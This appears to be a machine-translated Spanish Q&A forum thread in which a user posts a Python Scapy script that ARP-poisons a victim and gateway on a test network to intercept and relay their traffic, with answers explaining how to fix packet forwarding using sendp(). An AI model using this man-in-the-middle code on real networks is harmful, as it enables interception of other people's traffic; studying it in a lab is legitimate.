2012-09-30 9 views
11

Estoy tratando de hacer un hombre en el ataque medio con scapy en una red de prueba. Mi configuración es la siguiente: enter image description hereHombre en el ataque medio con Scapy

Ahora que se entiende la idea, aquí está el código:

from scapy.all import * 
import multiprocessing 
import time 
class MITM: 
    packets=[] 
    def __init__(self,victim=("192.168.116.143","00:0c:29:d1:aa:71"),node2=("192.168.116.1", "00:50:56:c0:00:08")): 
    self.victim=victim 
    self.node2=node2 
    multiprocessing.Process(target=self.arp_poison).start() 
    try: 
     sniff(filter='((dst %s) and (src %s)) or ((dst %s) and (src %s))'%(self.node2[0], self.victim[0],self.victim[0],self.node2[0]),prn=lambda x:self.routep(x)) 
    except KeyboardInterrupt as e: 
     wireshark(packets) 
    #self.arp_poison() 
    def routep(self,packet): 
    if packet.haslayer(IP): 
     packet.show() 
     if packet[IP].dst==self.victim[0]: 
     packet[Ether].src=packet[Ether].dst 
     packet[Ether].dst=self.victim[1] 
     elif packet[IP].dst==self.node2[0]: 
     packet[Ether].src=packet[Ether].dst 
     packet[Ether].dst=self.node2[1] 
     self.packets.append(packet) 
     packet.display() 
     send(packet) 
     print len(self.packets) 
     if len(self.packets)==10: 
     wireshark(self.packets) 
    def arp_poison(self): 
    a=ARP() 
    a.psrc=self.victim[0] 
    a.pdst=self.node2[0] 
    b=ARP() 
    b.psrc=self.node2[0] 
    b.pdst=self.victim[0] 
    cond=True 
    while cond: 
     send(b) 
     send(a) 
     time.sleep(5) 
     #cond=False 
if __name__=="__main__": 
    mitm=MITM() 

Este código se ejecuta en el VM2.

La intoxicación por Arp funciona bien, compruebo los cachés de arp de ambas máquinas y el comportamiento es el esperado. Pero dentro routep, modifico la dirección src y mac el horario de verano y tratar de enviar el paquete recibido al huésped apropiado, scapy da una advertencia:

WARNING: more Mac address to reach destination not found. Using broadcast 

Y veo en el wireshark en VM2, los paquetes modificados no están dejando la máquina. ¿Por qué sería ese el caso? ¿Me estoy perdiendo de algo?

+1

Creo que está por complicarlo. Solo necesita enviar respuestas arp falsificadas a la subred y habilitar el reenvío de IP en su máquina. http://www.secdev.org/projects/scapy/doc/usage.html#arp-cache-poisoning – tMC

+0

¿Podría ser que tenga que decirle explícitamente a Scapy que quiere enviar y recibir marcos, incluida la capa MAC? –

Respuesta

1

Si utiliza scapy's send(), funciona en la tercera capa. De la documentación de scapy:

La función send() enviará paquetes a la capa 3. Es decir que manejará el enrutamiento y la capa 2 por usted. La función sendp() funcionará en la capa 2.

Si se va a utilizar sendp(), no utilizará los valores predeterminados para la dirección MAC del destino y su warning'll se ha ido.

Cuestiones relacionadas